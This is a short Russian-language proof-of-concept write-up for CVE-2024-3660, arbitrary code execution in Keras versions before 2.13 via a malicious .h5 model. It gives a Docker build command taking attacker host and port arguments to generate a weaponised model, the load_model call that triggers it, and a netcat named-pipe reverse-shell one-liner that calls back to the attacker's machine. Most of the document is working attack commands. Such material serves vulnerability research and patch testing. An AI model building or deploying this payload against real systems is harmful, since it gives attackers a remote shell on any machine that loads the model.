
PoC для CVE-2024-3660. Произвольное выполнение кода в Keras.
CVE-2024-3660 – это уязвимость выполнения произвольного кода в фреймворке Keras библиотеки TensorFlow, затрагивающая версии < 2.13.
Она позволяет злоумышленнику внедрить код Python внутрь модели (например, через слой Lambda), который выполняется автоматически при загрузке модели.
При загрузке вредоносного файла модели .h5 в уязвимом окружении выполняются произвольные команды с теми же правами, что и у загружающего процесса.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
или в старых версиях TensorFlow, где safe_mode не включён по умолчанию.
Этот PoC использует сборку на основе Docker для генерации вредоносной модели hack.h5, содержащей полезную нагрузку reverse shell.
При загрузке модели в уязвимой версии TensorFlow она устанавливает обратное соединение с машиной атакующего.
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f